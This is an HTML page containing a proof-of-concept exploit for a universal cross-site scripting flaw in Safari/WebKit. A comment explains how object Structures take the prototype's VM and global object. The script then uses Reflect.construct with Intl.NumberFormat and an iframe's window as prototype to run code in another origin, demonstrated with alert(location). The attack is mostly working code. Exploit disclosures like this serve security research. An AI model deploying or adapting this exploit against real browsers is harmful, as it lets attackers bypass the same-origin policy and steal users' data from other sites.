<body>
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<script>
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/*
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When creating an object in Javascript, its |Structure| is created with the constructor's prototype's |VM|.
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Here's some snippets of that routine.
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Structure* InternalFunction::createSubclassStructure(ExecState* exec, JSValue newTarget, Structure* baseClass)
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{
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...
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if (newTarget && newTarget != exec->jsCallee()) {
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// newTarget may be an InternalFunction if we were called from Reflect.construct.
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JSFunction* targetFunction = jsDynamicCast<JSFunction*>(newTarget);
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if (LIKELY(targetFunction)) {
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...
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return targetFunction->rareData(vm)->createInternalFunctionAllocationStructureFromBase(vm, prototype, baseClass);
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...
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} else {
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...
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return vm.prototypeMap.emptyStructureForPrototypeFromBaseStructure(prototype, baseClass);
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...
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}
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}
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return baseClass;
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}
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inline Structure* PrototypeMap::createEmptyStructure(JSObject* prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo, IndexingType indexingType, unsigned inlineCapacity)
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{
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...
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Structure* structure = Structure::create(
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prototype->globalObject()->vm(), prototype->globalObject(), prototype, typeInfo, classInfo, indexingType, inlineCapacity);
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m_structures.set(key, Weak<Structure>(structure));
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...
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}
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As we can see |Structure::create| is called with prototype's |vm| and |globalObject| as arguments. So it could lead to an UXSS condition.
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Tested on Safari 10.0.2(12602.3.12.0.1) and Webkit Nightly 10.0.2(12602.3.12.0.1, r210800).
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*/
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'use strict';
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function main() {
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let f = document.body.appendChild(document.createElement('iframe'));
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f.onload = () => {
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f.onload = null;
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let g = function () {};
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g.prototype = f.contentWindow;
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let a = Reflect.construct(Intl.NumberFormat, [], g);
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Intl.NumberFormat.prototype.__lookupGetter__("format").call(a).constructor('alert(location)')();
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};
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f.src = 'https://abc.xyz/';
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}
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main();
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</script>
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</body>
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